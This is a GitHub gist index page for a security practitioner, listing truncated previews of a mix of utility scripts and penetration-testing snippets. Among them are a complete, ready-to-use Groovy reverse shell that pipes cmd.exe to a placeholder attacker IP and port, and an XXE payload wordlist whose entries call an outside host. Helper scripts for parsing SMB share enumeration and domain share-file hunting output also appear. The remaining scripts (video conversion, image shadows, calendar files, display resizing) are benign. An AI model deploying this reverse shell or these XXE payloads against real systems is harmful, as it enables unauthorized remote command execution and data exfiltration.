Skip to content

Instantly share code, notes, and snippets.

@3lpsy
3lpsy / smbmapparse.sh
Created October 3, 2020 23:59
Parse smbmap.py Output
#!/bin/bash
# I've writte a lot of bad bash scripts in my day. This may be the worst one.
# smbmap.py's output must not have colores (overwrite 'colored' function to return first arg)
# and the 'Working on it' message must also not exist. There's a fork on GH that adds --no-color and --no-update
IP=""
SHARE=""
PERMS=""
FOUND=0
@3lpsy
3lpsy / serialization.php
Created September 16, 2020 15:14
Serialization snippets for php
/* Need to split into files. Changes made need to be made.
/* this portion should go in serial.php */
<?php
class Message {
/* Insert rest of class from SDK docs */
}
/* get first cli argument */
$messageText = $argv[1];
@3lpsy
3lpsy / rv.groovy
Created September 16, 2020 02:29
Groovy Reverse shell
// stolen: https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
// Windows
String host="CHANGEME_IP";
int port=CHANGEME_PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
// Linux
String host="CHANGEME_IP";
int port=CHANGEME_PORT;
@3lpsy
3lpsy / dockerfile.sh
Last active September 16, 2020 02:14
Restore docker file from image
#!/bin/bash
# Stolen: https://stackoverflow.com/questions/19104847/how-to-generate-a-dockerfile-from-an-image
DOCKER_IMAGE="$1"
sudo docker history --no-trunc ${DOCKER_IMAGE} | tac | tr -s ' ' | cut -d " " -f 5- | sed 's,^/bin/sh -c #(nop) ,,g' | sed 's,^/bin/sh -c,RUN,g' | sed 's, && ,\n & ,g' | sed 's,\s*[0-9]*[\.]*[0-9]*\s*[kMG]*B\s*$,,g' | head -n -1
@3lpsy
3lpsy / xxe-payloads.txt
Created September 15, 2020 00:02 — forked from honoki/xxe-payloads.txt
XXE bruteforce wordlist
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y
@3lpsy
3lpsy / icalevent.py
Last active August 24, 2020 23:03
Generate an iCalendar Event (ICS) File from the Command Line
#!/usr/bin/env python3
from argparse import ArgumentParser
import sys
import pytz
from datetime import datetime, timedelta, timezone
from typing import List
try:
from icalendar import Calendar, vDatetime, Event, vCalAddress, vText
@3lpsy
3lpsy / convert_to_twitter_video.sh
Last active October 13, 2020 21:39
Convert a video (such as mkv) to twitter video.
#!/bin/sh
SRC="$1"
OUT="$2"
ffmpeg -i "$SRC" -acodec aac -vcodec copy "${OUT}.mp4"
@3lpsy
3lpsy / shadowify.py
Last active July 30, 2020 16:43
Add a drop shadow effect to one or multiple images
#!/usr/bin/env python3
from PIL import Image, ImageFilter
import argparse
from pathlib import Path
from typing import Optional
DEFAULT_POSTFIX = "-ds"
@3lpsy
3lpsy / x-resize
Last active April 10, 2024 17:26
Manual Implementation of Auto Resizing For Non-Gnome Environments (like XFCE) running under Spice/Libvirt
#!/bin/bash
# SPDX-License-Identifier: MIT License
# Steps:
# 1) Make sure bash is available
# 2) Create udev rule
# - path to new udev rule: /etc/udev/rules.d/50-x-resize.rules
# - udev rule content:
# ACTION=="change",KERNEL=="card0", SUBSYSTEM=="drm", RUN+="/usr/local/bin/x-resize"
# 3) Create /var/log/autores directory
# 4) Create script /usr/local/bin/x-resize (this file) and make executable
@3lpsy
3lpsy / interestingfile.py
Last active July 23, 2020 22:13
Parse output from Find-InterestingDomainShareFile to filter out only paths. This makes the data greppable. Also options for size and and exension.
#!/usr/bin/env python3
import sys
from pathlib import Path
import argparse
KB = 1024
MB = 1000 * KB
DEFAULT_MAX = 2 * MB
COMMON_EXTS = [